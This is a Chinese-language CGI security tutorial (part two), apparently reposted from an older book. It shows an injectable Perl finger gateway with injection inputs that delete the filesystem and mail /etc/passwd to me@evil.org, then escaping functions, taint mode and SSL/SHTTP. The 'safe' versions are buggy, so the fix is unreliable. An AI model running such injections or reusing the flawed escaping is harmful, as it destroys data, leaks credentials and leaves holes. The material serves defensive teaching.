|
|
| CGI的安全(二) |
| 作者:无从考证 来源:不详 发布时间:2005-9-28 14:26:02 发布人:chinazhan |
减小字体
增大字体
程序3. finger.cgi. #!/usr/local/bin/perl # finger.cgi - an unsafe finger gateway require ’cgi-lib.pl’; print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger $in`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; }
乍一看,这个程序好象没有什么害处。因为是用Perl编写的,不会有bufferoverflow的危险。我使用了finger的完全路径,这样gateway不会被伪造的finger程序所欺骗。如果输入是一个不合适的格式,那么gateway将返回一个错误而不会被人利用。
但是,如果我尝试如下的输入会怎样呢(如图1所示) nobody@nowhere.org;/bin/rm -rf / FINGER GATEWAY ___________________________________ User@Host: |nobody@nowhere.org ; /bin/rm -rf / | ----------------------------------- ______________ | Submit Query | -------------- (图1)
(译者注:原图是一个浏览器,我仅画出HTML页中的部分。)
我们来看一下下面的程序行会如何处理这样的输入: print `/usr/bin/finger $in`
由于你使用了向后的标记,首先它会执行一个shell。然后它将执行如下的命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
这将会怎样呢?假设在命令行像这样输入。它会删除所有的文件和目录,从root的目录开始。我们需要sanitize这个输入来render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函数可以很容易的实现。(C中的这些等价函数在表5中;它们来自cgihtml的C库。)
程序4. Perl中的escape_input(). sub escape_input { @_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\:’"\\])/\\$1/g; return @_; }
程序5. C语言中的escape_input(). char *escape_input(char *str) /* takes string and escapes all metacharacters.should be used before including string in system() or similar call. */ { int i,j = 0; char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1)); for (i = 0; i < strlen(str); i++) { printf("i = %d; j = %d\n",i,j); switch (str[i]) { case ’|’: case ’&’: case ’;’: case ’(’: case ’)’: case ’<’: case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’: case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’: case ’`’: case ’{’: case ’}’: new[j] = ’\\’; j++; break; default: break; } new[j] = str[i]; j++; } new[j] = ’\n’; return new; }
这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的finger.cgi网关在程序6中。
程序6. 一个安全的finger.cgi. #!/usr/local/bin/perl # finger.cgi - an safe finger gateway require ’cgi-lib.pl’; sub escape_input { @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\:’"])/\\$1/g; return @_; } print &PrintHeader; if (&ReadParse(*in)) { print "\n"; print `/usr/bin/finger &escape_input($in)`; print "\n"; } else { print " \n"; print "\n"; print "\n\n"; print "Finger Gateway\n"; print "\n"; print "User@Host: \n"; print "\n"; print "\n"; print " \n"; }
这次,如果你使用前述相同的输入,将派生出一个shell,它将尝试这样执 行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符组合未必是你的系统中的用户,因此可能会返回一个错误。
记住几个问题。首先,如果你的Web服务器正确的配置了(例如,以非root 身份运行),那么,删除文件系统中的所有内容的企图不会成功。(如果服务器以root身份运行,那么潜在的危害将是不可估量的。千万不要这样做!)另外,用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而,所这些只是对大多数的Unix系统的乐观的假设,并不是完全适用的。在一个hrooted系统环境中,这个目录中并没有rm命令。那么hacker的努力将是徒劳的。从理论上说,通过安全防范和正确配置你的Web服务器,你可以将潜在的危害降低到几乎为0,即使是书写了糟糕的脚本。
然而,你没有理由在编写CGI程序时可以掉以轻心。事实上,大多数的Web环境并不是chrooted的,仅仅是因为它禁止了很多人需要在Web服务器中需要的灵活性。即使服务器不是以root身份运行,用户不能将文件系统中的文件全部删除,一些人可以仅仅通过如下的输入,将/etc/passwd文件寄给me@evil.org作为可能的攻击途径:
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通过操纵这个漏洞来干很多事情,即使是在一个配置良好的环境中。如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过,你怎么能肯定你正确并安全的配置了你复杂的Unix系统和Web服务器?
答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它之前不轻易接受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。
幸运的是,Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),脚本将在潜在感染的变量传递给shell命令处中止。这将帮助你在开始实际使用CGI程序时捕捉到所有的潜在感染的变量的例子。
注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的,即使是对于中级的Perl程序员,在执行程序前向后标记派生出一个shell。这是高级语言的风险抉择;因为你不是很明确地知道它做什么,所以你并不清楚一个函数会产生怎样的安全漏洞。
如果你避免了使用调用shell的函数,那么你不需要删除敏感的输入。在Perl 语言中,你可以通过使用system()或者exec()函数来封装每一个参数。例如, 如下的调用很安全的$input:
system("/usr/ucb/finger",$input);
然而,在你的finger gateway的情况下,这个特点是毫无用处的,因为你要处理finger命令的输出,这个,除了你使用system函数外没有方法可以捕获。
在C语言中,你也可以通过使用exec一类的函数来直接执行程序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C语言中等价于Perl中的 system()函数。你使用哪一个exec函数以及如何使之按你的需要执行:这些细节已经超出了本书的范围。
3.安全处理
我前面简要讨论的只是安全问题的一个方面。现在流行的CGI应用程序倾向于 收集信用卡信息。数据收集是CGI应用程序的一个简单的任务,但是敏感信息的收集需要一个将信息从浏览器传送给服务器和CGI程序的安全途径。
举个例子,假设我要通过Internet来销售书。我可能在浏览器上建立一个表单,允许要购书的顾客通过表单提交它的个人信息和信用卡号码。受到这些信息后,我会将它们存储到我的计算机作为商业记录。
如果有人侵入我的商业计算机,那么他可能会访问存放顾客信息和信用卡号码的机密数据。为了避免这种情况,我会审查我的计算机配置安全了,并确定用来接受表单的CGI脚本不会被恶意的操纵。换句话说,我,作为计算机的系统管理员和CGI程序员,要尽力控制住第一个问题:防止信息直接从我的计算机中被窃取。
然而,怎样防止当信息由客户端发往服务器过程中有人中途窃取呢?记住信息怎样由Web服务器传送到CGI程序了吗?信息通过网络由浏览器先传送到服务器,然后服务器将信息传送给CGI程序。这些信息可能在由客户机传送到服务器时被中途窃取(如图2)。注意,为了保护信息使其不会被中途窃取,必须在客户和服务器之间进行加密。当然,如果你的客户机不能识别的话,你不能执行特定CGI的加密。
_______________ ______________ |浏览器 | 表单输入|| |(用户提交表单; |—————————————>|| |浏览器将其以通 |<—————————————| 服务器 | |常文本发送出去)|分析CGI输出|| --------------- | | -------------- | | 表 || /\CGI 不怀好意的hacker单 || ||输 输 || ||出 入 || || \/ || _____________ | | | CGI | | | ------------- (图2)
More: Java,CGI和安全处理
由于Web处理的特点,使用你独有的单独通过CGI程序实现的安全处理协议的唯一途径是:在表单信息通过浏览器传送到服务器之前将其加密。这个方案如图3。
_______________ ______________ |浏览器 | 加密表单输入|| | 用户提交表单; |—————————————>|| |浏览器将输入加 |<—————————————| 服务器 | |密,发送加密信息|分析CGI输出|| --------------- | | -------------- | | 加 || /\CGI 阻止 修补密 || ||输 恶意 再次输 || ||出 hacker阻止入 || ||(解密) \/ || _____________ | CGI | |解密处理输入,| |发出响应。 | ------------- (图3)
之前,发展你自己的安全处理协议几乎是不可能的。感谢Java这样的语言,最近在客户端处理所作的创新,使得这个发展变成可能。
方法是产生一个标准HTML格式扩展的Java接口。当Java的提交按钮被选择时,java Applet会在利用标准的POST HTTP请求将它发送到Web服务器前先将值加密 (参照图4)
Web浏览器 _______________ ______________ |JAVA APPLET| 加密数据|| | 表单;用户提交 |—————————————>|| |数据,APPLET加密|<—————————————| 服务器 | |数据,发给服务器|CGI输出|| --------------- -------------- 加 || /\CGI 密 || ||输 数 || ||出 据 || || \/ || ________________ | CGI| |使用与APPLET相同| |方案解密数据并处| |理,发出解密响应.| ---------------- (图4)
使用Java作为客户机来发送和接收加密的数据将允许你使用自己定制的加密方案,而不需要一个昂贵的商业服务器。
因此,在网络上安全保密地传送数据信息需要调整浏览器和服务器之间的通信路径,有一些是不能仅仅靠CGI就能够控制的。目前有两种加密客户机/服务器信息处理的建议:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分别由Netscape和EIT(Enterprise Integrations Technology)提议。关于这点,目前还不清楚哪一个将成为标准;很多公司在他们的服务器中两种都采用了。因此,知道如何在这两者中编写CGI程序是很有用的。 3 -1.SSL
SSL是一个协议独立的加密方案,在网络信息包的应用层和传输层之间提供了安全的通道(参照图5)。简单说来,就是HTML或CGI经过了幕后的 服务器进行了加密处理,然而对HTML和CGI的作者来说是透明的。
___________________________________ |浏览器| 传输层加密数据|服务器| |(发出标准的HTTP |—————————————>|(解密数据;解释成标准| |请求) |<—————————————|请求并发出标准响应) | ---------------- 传输层加密数据--------------------
(图5)
因为客户端和服务器端网络程序处理加密过程,几乎你的所有的CGI脚本不需要进行安全事务的修正。有一个显著的例外。一个nph(no-parse-header)的CGI程序绕过服务器而直接与客户端进行通信。因此,nph的CGI脚本不会经过加密处理,因为信息未得到加密。受此影响的一个值得注意的CGI应用程序是Netscape服务器推动的动态实现(Netscape server-push animations)。我怀疑这是主要应该值得注意的,然而,更有可能因为要安全的传输敏感信息而牺牲页面中的动画。
3-2.SHTTP
SHTTP采用一种和SSL不同的方法。它通过扩展HTTP协议(应用层)来运作,优于一个较低层。因此,尽管SSL可以应用于所有的网络服务,然而SHTTP是一个特定的Web协议。
另外,还有其它的优点。作为HTTP的扩展集,SHTTP全兼容于HTTP和SHTTP的浏览器和服务器。为了使用SSL,你必须有一个支持SSL的浏览器和服务器。另外,SHTTP是一个更灵活的协议。例如,这个服务器可以指定首选的加密方案。
SHTTP处理依赖于附加的HTTP头。因此,如果你想让你的CGI程序采用SHTTP的加密处理,你需要包含适当的头。例如,替换简单返回HTTP头。
Content-type:text/html
当一个SHTTP服务器从CGI应用程序中收到这个信息,它会知道在将其发送到浏览器之前将信息加密。一个非SHTTP的浏览器将忽略附加的头。
关于使用SHTTP的更多的信息,请参照SHTTP的说明书:
http://www.commerce.net/information/standards/drafts/shttp.txt 4.概要
安全是你在处理网络应用程序(例如WWW)中不可避免的一件事。如果你的Web服务器没有安全的配置,那么编写安全的CGI应用程序就不是非常有用的了。一个正确配置的Web服务器,从另一方面讲,可以最小限度的减少因为糟糕的CGI脚本而带来的损害。
大体上,我们应该记住下面的原则:
A.你的程序应当只能提供你指定的服务。
B.不到必要的时候不暴露任何有关你的服务器的信息。
C.如果有人成功的闯入你的系统,应最小限度的减少损害。
D.确定你的应用程序是安全可靠并且严密的。
当你编写CGI程序时,要特别注意你的编程语言的局限性(或不足)以及传递给shell的不确定的变量。 上一页 [1] [2]
|
| |
|
[]
[返回上一页]
[打 印]
[收 藏] |
|
| ∷相关文章评论∷ (评论内容只代表网友观点,与本站立场无关!) [更多评论...] |
|
|